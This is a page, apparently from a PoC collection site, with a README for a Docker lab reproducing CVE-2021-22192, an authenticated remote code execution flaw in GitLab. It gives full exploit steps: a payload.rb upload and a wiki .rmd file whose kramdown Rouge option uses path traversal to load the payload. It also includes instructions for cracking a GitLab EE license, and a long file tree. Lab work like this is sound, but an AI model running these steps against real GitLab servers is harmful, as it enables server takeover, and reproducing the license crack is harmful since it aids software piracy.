Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-22192 PoC — GitLab 安全漏洞

Source
Associated Vulnerability
Title:GitLab 安全漏洞 (CVE-2021-22192)
Description:GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。 GitLab all versions starting from 13.2 存在安全漏洞,该漏洞允许未经授权的经过身份验证的用户在服务器上执行任意代码。
Description
CVE-2021-22192 靶场: 未授权用户 RCE 漏洞
Readme
# CVE-2021-22192

> CVE-2021-22192 靶场: 未授权用户 RCE 漏洞

------

## 0x10 靶场环境

![](https://img.shields.io/badge/Docker-latest-brightgreen.svg) ![](https://img.shields.io/badge/GitlabEE-13.2.0-brightgreen.svg) ![](https://img.shields.io/badge/Runner-latest-brightgreen.svg)




## 0x20 目录结构

```
CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│   ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│   ├── config .............. [Gitlab 配置挂载目录]
│   ├── data ................ [Gitlab 数据挂载目录]
│   ├── logs ................ [Gitlab 日志挂载目录]
│   ├── keys ................ [Gitlab 破解 License 存储目录]
│   └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│   ├── Dockerfile .......... [License 的 Docker 构建文件]
│   └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux:   一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux:   一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux:   一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux:   一键停止 Gitlab 靶场]
```




## 0x30 靶场搭建

### 0x31 构建

- 宿主机预装 docker 和 docker-compose
- 下载本仓库: [git clone https://github.com/lyy289065406/CVE-2021-22192](https://github.com/lyy289065406/CVE-2021-22192)
- 生成破解密钥对: [`./keygen.sh`](keygen.sh) 或 [`./keygen.ps1`](keygen.ps1)
- 构建并运行 Gitlab (确保 80 端口未占用): [`./run.sh`](run.sh) 或 [`./run.ps1`](run.ps1)
- 约 5 分钟后可从浏览器登录 Gitlab:[http://127.0.0.1](http://127.0.0.1) (首次登录需要重设管理员账号 root 的密码)


### 0x32 破解

前面生成破解密钥对的时候,已经把公钥写入 Gitlab 容器后台了,还需要把私钥通过前端上传到 Gitlab 完成破解:

- 密钥对生成到 [`./gitlab/keys/`](gitlab/keys/) 目录,复制其下 `.gitlab-license` 的内容(私钥)
- 使用 root 用户打开 [http://127.0.0.1/admin/license/new](http://127.0.0.1/admin/license/new) 页面
- 选择 `Enter license key` 并粘贴私钥,点击 `Upload license` 按钮即可完成破解


![](imgs/01.png)


### 0x33 设置 Runner

- 使用 root 用户打开 [http://127.0.0.1/admin/runners](http://127.0.0.1/admin/runners) 页面
- 找到 registration token 并复制
- 注册 Runner: [`./register.sh $TOKEN`](register.sh) 或 [`./register.ps1 $TOKEN`](register.ps1)

> 至此所有 Repository 都可以使用此 Runner 执行 CI 脚本(Pipeline Jobs)

![](imgs/02.png)


### 0x34 访问 Gitlab Pages

假设你的 Gitlab 用户名为 `${username}`,仓库名称为 `${repository_name}`,当仓库已经使用 jekyll 成功构建 SSG 后,只需要访问以下 URL 即可:

[http://127.0.0.1:8000/${username}/${repository_name}/public/](http://127.0.0.1:8000)



## 0x40 靶场验证

> 具体过程参考可 [hackerone](https://hackerone.com/reports/1125425)。

1. 使用任意用户点击顶部的 `+ -> New snippet`
2. `Title` 随意填即可,点击 `Description (optional)` 的输入框,然后点击 `Attach a file`,上传一个名为 `payload.rb` 文件,其内容如下:

```
puts "hello from ruby"
`echo exp was here > /tmp/exp`
```

此时在 `Description (optional)` 会显示该文件的链接,例如:`[payload.rb](/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb)`,同时文件已经上传到 docker_gitlab 容器的 `/var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb`。(至于 `Create snippet` 可点可不点,只需要记住这个文件路径的 Hash 即可)

> 注意:不要通过某一个仓库左侧边栏的 `Snippet -> New snippet`,否则回显的文件路径会变成 `[payload.rb](/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)`,实际上上传到 docker_gitlab 容器的路径会变成 `/var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb`,由于中间有一段随机字符串,很难利用。

5. 点击顶部的 `+ New Project`,命名随意(如 `poc`,或不创建、用已存在的仓库亦可)
6. 点击左侧 `Wiki`,然后点击 `Create your first page`
7. `Title` 和 `Content` 随意填即可, 点击 `Create page`
8. 此时 Gitlab 会生成当前 `poc` 仓库的 wiki 仓库,名为 `poc.wiki`(点击右上角的 `Clone repository`,可以找到 clone 命令: `git clone http://127.0.0.1/root/poc.wiki.git`)。
9. 在本地终端执行命令 `git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki` 下载 wiki 仓库到本地
10. 在 wiki 仓库的根目录添加一个名为 `page1.rmd` 的文件,其内容如下(注意文件路径中的 Hash 要替换为前面得到的 Hash):

```
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
```

11. 执行命令提交该文件到 Gitlab: `git add -A . && git commit -m "page1.rmd" && git push`
12. 回到前面 [Gitlab Wiki](http://127.0.0.1/root/poc/-/wikis) 的页面,刷新,可以在右侧索引栏看到在本地创建的 `page1` 页面,点击它
13. 等待页面回显内容后,登陆 docker_gitlab 容器,可以找到文件 `/tmp/exp` 已经被创建

> 点击 `page1.rmd` 页面后,其实可以在 `gitlab/logs/gitlab-rails/exceptions_json.log` 看到报错信息,但是这不影响命令已经被执行:

```json
{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "admin@example.com",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}
```


File Snapshot

[4.0K] /data/pocs/e71bc12d2ca8bb05dabcd232899588b984c31609 ├── [1.4K] docker-compose.yml ├── [4.0K] gitlab │   ├── [4.0K] config │   ├── [4.0K] data │   ├── [ 707] Dockerfile │   ├── [4.0K] keys │   ├── [4.0K] logs │   └── [4.0K] nginx │   └── [1.1K] gitlab-pages.conf.local ├── [4.0K] imgs │   ├── [592K] 01.png │   └── [202K] 02.png ├── [ 764] keygen.ps1 ├── [ 751] keygen.sh ├── [4.0K] license │   ├── [ 367] Dockerfile │   └── [2.1K] license.rb ├── [8.2K] README.md ├── [ 755] register.ps1 ├── [ 711] register.sh ├── [4.0K] runner │   ├── [4.0K] config │   ├── [ 436] Dockerfile │   └── [ 37] gitlab-runner ├── [ 560] run.ps1 ├── [ 560] run.sh ├── [ 26] stop.ps1 ├── [ 37] stop.sh └── [4.0K] test ├── [ 174] dev.ps1 ├── [ 184] dev.sh ├── [ 157] docker-compose.yml └── [4.0K] kramdown ├── [ 61] AUTHORS ├── [4.0K] benchmark │   ├── [1.4K] benchmark.rb │   ├── [ 404] benchmark-rubies.sh │   ├── [1.8K] benchmark.sh │   ├── [4.1K] generate_data.rb │   ├── [7.9K] mdbasics.text │   ├── [ 27K] mdsyntax.text │   ├── [ 911] memory_profiler_preload.rb │   ├── [ 208] testing.sh │   └── [ 265] timing.sh ├── [4.0K] bin │   └── [4.4K] kramdown ├── [1.3K] COPYING ├── [4.0K] data │   └── [4.0K] kramdown │   ├── [ 635] document.html │   └── [1.2K] document.latex ├── [4.0K] doc │   ├── [ 55K] bg.png │   ├── [4.0K] converter │   │   ├── [7.2K] html.page │   │   ├── [ 587] kramdown.page │   │   ├── [4.0K] latex.page │   │   ├── [4.8K] man.page │   │   └── [ 926] remove_html_tags.page │   ├── [6.7K] default.scss │   ├── [2.6K] default.template │   ├── [9.1K] _design.scss │   ├── [2.8K] documentation.page │   ├── [1015] documentation.template │   ├── [4.0K] img │   │   ├── [3.6K] bg.jpg │   │   ├── [ 11K] graph-jruby-9.2.5.0-0.png │   │   ├── [ 11K] graph-ruby-2.3.6p384-384.png │   │   ├── [ 10K] graph-ruby-2.4.3p205-205.png │   │   ├── [ 10K] graph-ruby-2.5.0p0-0.png │   │   ├── [10.0K] graph-ruby-2.6.0p0-0.png │   │   ├── [9.5K] graph-truffleruby-1.0.0-rc11-0.png │   │   ├── [ 13K] image.jpg │   │   ├── [3.4K] line.jpg │   │   └── [ 12K] shadow.jpg │   ├── [4.6K] index.page │   ├── [2.4K] installation.page │   ├── [ 271] links.markdown │   ├── [4.0K] math_engine │   │   ├── [ 466] itex2mml.page │   │   ├── [ 711] katex.page │   │   ├── [ 471] mathjaxnode.page │   │   ├── [ 817] mathjax.page │   │   ├── [ 389] ritex.page │   │   └── [ 660] sskatex.page │   ├── [ 289] metainfo │   ├── [4.0K] news │   │   ├── [2.0K] release_0_10_0.page │   │   ├── [ 782] release_0_1_0.page │   │   ├── [3.4K] release_0_11_0.page │   │   ├── [2.7K] release_0_12_0.page │   │   ├── [2.4K] release_0_13_1.page │   │   ├── [ 440] release_0_13_2.page │   │   ├── [1.5K] release_0_13_3.page │   │   ├── [1.2K] release_0_13_4.page │   │   ├── [1.6K] release_0_13_5.page │   │   ├── [ 736] release_0_13_6.page │   │   ├── [2.0K] release_0_13_7.page │   │   ├── [1.2K] release_0_13_8.page │   │   ├── [1.4K] release_0_14_0.page │   │   ├── [ 739] release_0_14_1.page │   │   ├── [ 731] release_0_14_2.page │   │   ├── [2.2K] release_0_2_0.page │   │   ├── [1.2K] release_0_3_0.page │   │   ├── [1.2K] release_0_4_0.page │   │   ├── [1.4K] release_0_5_0.page │   │   ├── [1.3K] release_0_6_0.page │   │   ├── [2.0K] release_0_7_0.page │   │   ├── [2.7K] release_0_8_0.page │   │   ├── [2.3K] release_0_9_0.page │   │   ├── [2.2K] release_1_0_0.page │   │   ├── [ 430] release_1_0_1.page │   │   ├── [1.3K] release_1_0_2.page │   │   ├── [2.4K] release_1_10_0.page │   │   ├── [1.3K] release_1_1_0.page │   │   ├── [1.2K] release_1_11_0.page │   │   ├── [ 436] release_1_11_1.page │   │   ├── [2.8K] release_1_12_0.page │   │   ├── [2.6K] release_1_13_0.page │   │   ├── [ 528] release_1_13_1.page │   │   ├── [ 719] release_1_13_2.page │   │   ├── [ 840] release_1_14_0.page │   │   ├── [1.1K] release_1_15_0.page │   │   ├── [3.2K] release_1_16_0.page │   │   ├── [ 487] release_1_16_1.page │   │   ├── [ 466] release_1_16_2.page │   │   ├── [3.2K] release_1_17_0.page │   │   ├── [1.7K] release_1_2_0.page │   │   ├── [2.7K] release_1_3_0.page │   │   ├── [ 899] release_1_3_1.page │   │   ├── [ 656] release_1_3_2.page │   │   ├── [ 366] release_1_3_3.page │   │   ├── [3.1K] release_1_4_0.page │   │   ├── [ 881] release_1_4_1.page │   │   ├── [1.5K] release_1_4_2.page │   │   ├── [2.6K] release_1_5_0.page │   │   ├── [3.6K] release_1_6_0.page │   │   ├── [1.6K] release_1_7_0.page │   │   ├── [1.7K] release_1_8_0.page │   │   ├── [1.1K] release_1_9_0.page │   │   ├── [3.6K] release_2_0_0.page │   │   ├── [ 999] release_2_1_0.page │   │   ├── [3.4K] release_2_2_0.page │   │   ├── [ 377] release_2_2_1.page │   │   ├── [2.1K] release_2_3_0.page │   │   └── [2.1K] release_2_3_1.page │   ├── [ 252] news.feed │   ├── [ 864] news.page │   ├── [1.4K] options.page │   ├── [4.0K] parser │   │   ├── [ 661] gfm.page │   │   ├── [2.0K] html.page │   │   ├── [1.3K] kramdown.page │   │   └── [ 641] markdown.page │   ├── [ 15K] quickref.page │   ├── [ 950] sidebar.template │   ├── [ 65] sitemap.sitemap │   ├── [4.0K] syntax_highlighter │   │   ├── [ 447] coderay.page │   │   ├── [ 825] minted.page │   │   └── [2.0K] rouge.page │   ├── [ 73K] syntax.page │   ├── [5.0K] tests.page │   └── [ 424] virtual ├── [3.8K] InstalledFiles ├── [4.0K] lib │   ├── [4.0K] kramdown │   │   ├── [4.0K] converter │   │   │   ├── [9.6K] base.rb │   │   │   ├── [ 864] hash_ast.rb │   │   │   ├── [ 19K] html.rb │   │   │   ├── [ 15K] kramdown.rb │   │   │   ├── [ 19K] latex.rb │   │   │   ├── [8.9K] man.rb │   │   │   ├── [4.0K] math_engine │   │   │   │   └── [ 915] mathjax.rb │   │   │   ├── [1.7K] remove_html_tags.rb │   │   │   ├── [4.0K] syntax_highlighter │   │   │   │   ├── [ 910] minted.rb │   │   │   │   └── [2.4K] rouge.rb │   │   │   ├── [2.1K] syntax_highlighter.rb │   │   │   └── [1.8K] toc.rb │   │   ├── [2.4K] converter.rb │   │   ├── [4.9K] document.rb │   │   ├── [ 16K] element.rb │   │   ├── [ 417] error.rb │   │   ├── [ 21K] options.rb │   │   ├── [4.0K] parser │   │   │   ├── [4.6K] base.rb │   │   │   ├── [ 23K] html.rb │   │   │   ├── [4.0K] kramdown │   │   │   │   ├── [2.9K] abbreviation.rb │   │   │   │   ├── [ 884] autolink.rb │   │   │   │   ├── [ 692] blank_line.rb │   │   │   │   ├── [ 886] block_boundary.rb │   │   │   │   ├── [ 984] blockquote.rb │   │   │   │   ├── [1.9K] codeblock.rb │   │   │   │   ├── [1.5K] codespan.rb │   │   │   │   ├── [1.8K] emphasis.rb │   │   │   │   ├── [ 528] eob.rb │   │   │   │   ├── [ 557] escaped_chars.rb │   │   │   │   ├── [7.6K] extensions.rb │   │   │   │   ├── [2.2K] footnote.rb │   │   │   │   ├── [2.0K] header.rb │   │   │   │   ├── [ 671] horizontal_rule.rb │   │   │   │   ├── [1.1K] html_entity.rb │   │   │   │   ├── [6.3K] html.rb │   │   │   │   ├── [ 584] line_break.rb │   │   │   │   ├── [4.7K] link.rb │   │   │   │   ├── [ 10K] list.rb │   │   │   │   ├── [1.4K] math.rb │   │   │   │   ├── [2.1K] paragraph.rb │   │   │   │   ├── [6.0K] smart_quotes.rb │   │   │   │   ├── [6.2K] table.rb │   │   │   │   └── [1.8K] typographic_symbol.rb │   │   │   ├── [ 13K] kramdown.rb │   │   │   └── [2.0K] markdown.rb │   │   ├── [ 724] parser.rb │   │   ├── [4.0K] utils │   │   │   ├── [1.4K] configurable.rb │   │   │   ├── [8.1K] entities.rb │   │   │   ├── [2.9K] html.rb │   │   │   ├── [1.1K] lru_cache.rb │   │   │   ├── [2.6K] string_scanner.rb │   │   │   └── [1.2K] unidecoder.rb │   │   ├── [1.2K] utils.rb │   │   └── [ 261] version.rb │   └── [ 221] kramdown.rb ├── [4.0K] man │   └── [4.0K] man1 │   └── [3.0K] kramdown.1.erb ├── [6.9K] Rakefile ├── [3.0K] README.md ├── [ 35K] setup.rb ├── [4.0K] test │   ├── [1.4K] run_tests.rb │   ├── [4.0K] testcases │   │   ├── [4.0K] block │   │   │   ├── [4.0K] 01_blank_line │   │   │   │   ├── [ 1] spaces.html │   │   │   │   ├── [ 16] spaces.text │   │   │   │   ├── [ 1] tabs.html │   │   │   │   └── [ 14] tabs.text │   │   │   ├── [4.0K] 02_eob │   │   │   │   ├── [ 1] beginning.html │   │   │   │   ├── [ 4] beginning.text │   │   │   │   ├── [ 1] end.html │   │   │   │   ├── [ 4] end.text │   │   │   │   ├── [ 1] middle.html │   │   │   │   └── [ 6] middle.text │   │   │   ├── [4.0K] 03_paragraph │   │   │   │   ├── [ 234] indented.html │   │   │   │   ├── [ 258] indented.html.gfm │   │   │   │   ├── [ 186] indented.text │   │   │   │   ├── [ 194] line_break_last_line.html │   │   │   │   ├── [ 97] line_break_last_line.text │   │   │   │   ├── [ 81] no_newline_at_end.html │   │   │   │   ├── [ 68] no_newline_at_end.text │   │   │   │   ├── [ 40] one_para.html │   │   │   │   ├── [ 33] one_para.text │   │   │   │   ├── [ 375] standalone_image.html │   │   │   │   ├── [ 209] standalone_image.text │   │   │   │   ├── [ 100] two_para.html │   │   │   │   ├── [ 86] two_para.text │   │   │   │   ├── [ 67] with_html_to_native.html │   │   │   │   ├── [ 22] with_html_to_native.options │   │   │   │   └── [ 67] with_html_to_native.text │   │   │   ├── [4.0K] 04_header │   │   │   │   ├── [ 664] atx_header.html │   │   │   │   ├── [ 16] atx_header_no_newline_at_end.html │   │   │   │   ├── [ 8] atx_header_no_newline_at_end.text │   │   │   │   ├── [ 472] atx_header.text │   │   │   │   ├── [ 131] header_type_offset.html │   │   │   │   ├── [ 104] header_type_offset.kramdown │   │   │   │   ├── [ 169] header_type_offset.latex │   │   │   │   ├── [ 34] header_type_offset.options │   │   │   │   ├── [ 117] header_type_offset.text │   │   │   │   ├── [ 370] setext_header.html │   │   │   │   ├── [ 16] setext_header_no_newline_at_end.html │   │   │   │   ├── [ 13] setext_header_no_newline_at_end.text │   │   │   │   ├── [ 280] setext_header.text │   │   │   │   ├── [ 71] with_auto_id_prefix.html │   │   │   │   ├── [ 40] with_auto_id_prefix.options │   │   │   │   ├── [ 18] with_auto_id_prefix.text │   │   │   │   ├── [ 430] with_auto_ids.html │   │   │   │   ├── [ 49] with_auto_ids.options │   │   │   │   ├── [ 200] with_auto_ids.text │   │   │   │   ├── [ 70] with_auto_id_stripping.html │   │   │   │   ├── [ 25] with_auto_id_stripping.options │   │   │   │   └── [ 41] with_auto_id_stripping.text │   │   │   ├── [4.0K] 05_blockquote │   │   │   │   ├── [ 342] indented.html │   │   │   │   ├── [ 162] indented.text │   │   │   │   ├── [ 473] lazy.html │   │   │   │   ├── [ 217] lazy.text │   │   │   │   ├── [ 106] nested.html │   │   │   │   ├── [ 32] nested.text │   │   │   │   ├── [ 75] no_newline_at_end.html │   │   │   │   ├── [ 42] no_newline_at_end.text │   │   │   │   ├── [7.0K] very_long_line.html │   │   │   │   ├── [7.0K] very_long_line.text │   │   │   │   ├── [ 188] with_code_blocks.html │   │   │   │   └── [ 134] with_code_blocks.text │   │   │   ├── [4.0K] 06_codeblock │   │   │   │   ├── [ 100] disable-highlighting.html │   │   │   │   ├── [ 23] disable-highlighting.options │   │   │   │   ├── [ 52] disable-highlighting.text │   │   │   │   ├── [ 46] error.html │   │   │   │   ├── [ 32] error.text │   │   │   │   ├── [ 315] guess_lang_css_class.html │   │   │   │   ├── [ 45] guess_lang_css_class.options │   │   │   │   ├── [ 123] guess_lang_css_class.text │   │   │   │   ├── [ 235] highlighting.html │   │   │   │   ├── [ 100] highlighting-minted.latex │   │   │   │   ├── [ 75] highlighting-minted.options │   │   │   │   ├── [ 55] highlighting-minted.text │   │   │   │   ├── [ 251] highlighting-minted-with-opts.latex │   │   │   │   ├── [ 88] highlighting-minted-with-opts.options │   │   │   │   ├── [ 187] highlighting-minted-with-opts.text │   │   │   │   ├── [ 94] highlighting.options │   │   │   │   ├── [ 451] highlighting-opts.html │   │   │   │   ├── [ 106] highlighting-opts.options │   │   │   │   ├── [ 55] highlighting-opts.text │   │   │   │   ├── [ 55] highlighting.text │   │   │   │   ├── [3.4K] issue_gh45.html │   │   │   │   ├── [3.5K] issue_gh45.test │   │   │   │   ├── [ 69] lazy.html │   │   │   │   ├── [ 52] lazy.text │   │   │   │   ├── [ 37] no_newline_at_end_1.html │   │   │   │   ├── [ 16] no_newline_at_end_1.text │   │   │   │   ├── [ 32] no_newline_at_end.html │   │   │   │   ├── [ 10] no_newline_at_end.text │   │   │   │   ├── [ 168] normal.html │   │   │   │   ├── [ 95] normal.text │   │   │   │   ├── [4.0K] rouge │   │   │   │   │   ├── [ 39] disabled.html │   │   │   │   │   ├── [ 80] disabled.options │   │   │   │   │   ├── [ 18] disabled.text │   │   │   │   │   ├── [ 724] multiple.html │   │   │   │   │   ├── [ 107] multiple.options │   │   │   │   │   ├── [ 96] multiple.text │   │   │   │   │   ├── [ 708] simple.html │   │   │   │   │   ├── [ 74] simple.options │   │   │   │   │   └── [ 100] simple.text │   │   │   │   ├── [ 107] tilde_syntax.html │   │   │   │   ├── [ 107] tilde_syntax.text │   │   │   │   ├── [ 450] whitespace.html │   │   │   │   ├── [ 61] whitespace.text │   │   │   │   ├── [ 157] with_blank_line.html │   │   │   │   ├── [ 107] with_blank_line.text │   │   │   │   ├── [ 92] with_eob_marker.html │   │   │   │   ├── [ 56] with_eob_marker.text │   │   │   │   ├── [ 104] with_ial.html │   │   │   │   ├── [ 62] with_ial.text │   │   │   │   ├── [ 171] with_lang_in_fenced_block_any_char.html │   │   │   │   ├── [ 24] with_lang_in_fenced_block_any_char.options │   │   │   │   ├── [ 69] with_lang_in_fenced_block_any_char.text │   │   │   │   ├── [ 397] with_lang_in_fenced_block.html │   │   │   │   ├── [ 95] with_lang_in_fenced_block_name_with_dash.html │   │   │   │   ├── [ 24] with_lang_in_fenced_block_name_with_dash.options │   │   │   │   ├── [ 61] with_lang_in_fenced_block_name_with_dash.text │   │   │   │   ├── [ 27] with_lang_in_fenced_block.options │   │   │   │   └── [ 238] with_lang_in_fenced_block.text │   │   │   ├── [4.0K] 07_horizontal_rule │   │   │   │   ├── [ 105] error.html │   │   │   │   ├── [ 77] error.text │   │   │   │   ├── [ 144] normal.html │   │   │   │   ├── [ 96] normal.text │   │   │   │   ├── [ 21] sepspaces.html │   │   │   │   ├── [ 37] sepspaces.text │   │   │   │   ├── [ 21] septabs.html │   │   │   │   └── [ 27] septabs.text │   │   │   ├── [4.0K] 08_list │   │   │   │   ├── [ 56] brackets_in_item.latex │   │   │   │   ├── [ 18] brackets_in_item.text │   │   │   │   ├── [ 290] escaping.html │   │   │   │   ├── [ 252] escaping.text │   │   │   │   ├── [ 164] item_ial.html │   │   │   │   ├── [ 190] item_ial.text │   │   │   │   ├── [ 128] lazy_and_nested.html │   │   │   │   ├── [ 74] lazy_and_nested.text │   │   │   │   ├── [ 456] lazy.html │   │   │   │   ├── [ 285] lazy.text │   │   │   │   ├── [ 89] list_and_hr.html │   │   │   │   ├── [ 48] list_and_hr.text │   │   │   │   ├── [ 411] list_and_others.html │   │   │   │   ├── [ 148] list_and_others.text │   │   │   │   ├── [1.3K] mixed.html │   │   │   │   ├── [ 567] mixed.text │   │   │   │   ├── [ 186] nested.html │   │   │   │   ├── [ 62] nested.text │   │   │   │   ├── [ 563] other_first_element.html │   │   │   │   ├── [ 265] other_first_element.text │   │   │   │   ├── [ 252] simple_ol.html │   │   │   │   ├── [ 138] simple_ol.text │   │   │   │   ├── [ 546] simple_ul.html │   │   │   │   ├── [ 360] simple_ul.text │   │   │   │   ├── [ 29] single_item.html │   │   │   │   ├── [ 9] single_item.text │   │   │   │   ├── [ 723] special_cases.html │   │   │   │   └── [ 307] special_cases.text │   │   │   ├── [4.0K] 09_html │   │   │   │   ├── [ 157] comment.html │   │   │   │   ├── [ 104] comment.text │   │   │   │   ├── [4.0K] content_model │   │   │   │   │   ├── [ 67] deflists.html │   │   │   │   │   ├── [ 24] deflists.options │   │   │   │   │   ├── [ 43] deflists.text │   │   │   │   │   ├── [ 191] tables.html │   │   │   │   │   ├── [ 24] tables.options │   │   │   │   │   └── [ 192] tables.text │   │   │   │   ├── [ 346] html5_attributes.html │   │   │   │   ├── [ 325] html5_attributes.text │   │   │   │   ├── [ 121] html_after_block.html │   │   │   │   ├── [ 80] html_after_block.text │   │   │   │   ├── [ 159] html_and_codeblocks.html │   │   │   │   ├── [ 24] html_and_codeblocks.options │   │   │   │   ├── [ 84] html_and_codeblocks.text │   │   │   │   ├── [ 37] html_and_headers.html │   │   │   │   ├── [ 35] html_and_headers.text │   │   │   │   ├── [4.0K] html_to_native │   │   │   │   │   ├── [ 261] code.html │   │   │   │   │   ├── [ 267] code.text │   │   │   │   │   ├── [ 51] comment.html │   │   │   │   │   ├── [ 52] comment.text │   │   │   │   │   ├── [ 178] emphasis.html │   │   │   │   │   ├── [ 145] emphasis.text │   │   │   │   │   ├── [ 57] entity.html │   │   │   │   │   ├── [ 57] entity.text │   │   │   │   │   ├── [ 203] header.html │   │   │   │   │   ├── [ 38] header.options │   │   │   │   │   ├── [ 132] header.text │   │   │   │   │   ├── [ 107] list_dl.html │   │   │   │   │   ├── [ 107] list_dl.text │   │   │   │   │   ├── [ 237] list_ol.html │   │   │   │   │   ├── [ 239] list_ol.text │   │   │   │   │   ├── [ 281] list_ul.html │   │   │   │   │   ├── [ 283] list_ul.text │   │   │   │   │   ├── [ 22] options │   │   │   │   │   ├── [ 72] paragraph.html │   │   │   │   │   ├── [ 73] paragraph.text │   │   │   │   │   ├── [ 149] table_normal.html │   │   │   │   │   ├── [ 149] table_normal.text │   │   │   │   │   ├── [ 883] table_simple.html │   │   │   │   │   ├── [ 745] table_simple.text │   │   │   │   │   ├── [ 48] typography.html │   │   │   │   │   └── [ 61] typography.text │   │   │   │   ├── [ 46] invalid_html_1.html │   │   │   │   ├── [ 19] invalid_html_1.text │   │   │   │   ├── [ 33] invalid_html_2.html │   │   │   │   ├── [ 17] invalid_html_2.text │   │   │   │   ├── [ 293] markdown_attr.html │   │   │   │   ├── [ 348] markdown_attr.text │   │   │   │   ├── [ 267] not_parsed.html │   │   │   │   ├── [ 217] not_parsed.text │   │   │   │   ├── [ 550] parse_as_raw.html │   │   │   │   ├── [ 549] parse_as_raw.htmlinput │   │   │   │   ├── [ 24] parse_as_raw.options │   │   │   │   ├── [ 496] parse_as_raw.text │   │   │   │   ├── [ 165] parse_as_span.html │   │   │   │   ├── [ 165] parse_as_span.htmlinput │   │   │   │   ├── [ 24] parse_as_span.options │   │   │   │   ├── [ 131] parse_as_span.text │   │   │   │   ├── [ 237] parse_block_html.html │   │   │   │   ├── [ 24] parse_block_html.options │   │   │   │   ├── [ 137] parse_block_html.text │   │   │   │   ├── [ 153] processing_instruction.html │   │   │   │   ├── [ 89] processing_instruction.text │   │   │   │   ├── [ 526] simple.html │   │   │   │   ├── [ 24] simple.options │   │   │   │   ├── [ 409] simple.text │   │   │   │   ├── [ 134] standalone_image_in_div.htmlinput │   │   │   │   ├── [ 130] standalone_image_in_div.text │   │   │   │   ├── [ 63] table.kramdown │   │   │   │   ├── [ 62] table.text │   │   │   │   ├── [ 87] textarea.html │   │   │   │   ├── [ 80] textarea.text │   │   │   │   ├── [ 151] xml.html │   │   │   │   └── [ 137] xml.text │   │   │   ├── [4.0K] 10_ald │   │   │   │   ├── [ 23] simple.html │   │   │   │   └── [ 174] simple.text │   │   │   ├── [4.0K] 11_ial │   │   │   │   ├── [ 40] auto_id_and_ial.html │   │   │   │   ├── [ 16] auto_id_and_ial.options │   │   │   │   ├── [ 26] auto_id_and_ial.text │   │   │   │   ├── [ 148] nested.html │   │   │   │   ├── [ 103] nested.text │   │   │   │   ├── [ 571] simple.html │   │   │   │   └── [ 487] simple.text │   │   │   ├── [4.0K] 12_extension │   │   │   │   ├── [ 165] comment.html │   │   │   │   ├── [ 192] comment.text │   │   │   │   ├── [ 99] ignored.html │   │   │   │   ├── [ 78] ignored.text │   │   │   │   ├── [ 147] nomarkdown.html │   │   │   │   ├── [ 263] nomarkdown.kramdown │   │   │   │   ├── [ 164] nomarkdown.latex │   │   │   │   ├── [ 310] nomarkdown.text │   │   │   │   ├── [ 334] options2.html │   │   │   │   ├── [ 69] options2.text │   │   │   │   ├── [ 512] options3.html │   │   │   │   ├── [ 120] options3.text │   │   │   │   ├── [ 490] options.html │   │   │   │   └── [ 313] options.text │   │   │   ├── [4.0K] 13_definition_list │   │   │   │   ├── [ 245] auto_ids.html │   │   │   │   ├── [ 104] auto_ids.text │   │   │   │   ├── [ 23] definition_at_beginning.html │   │   │   │   ├── [ 16] definition_at_beginning.text │   │   │   │   ├── [ 80] deflist_ial.html │   │   │   │   ├── [ 51] deflist_ial.text │   │   │  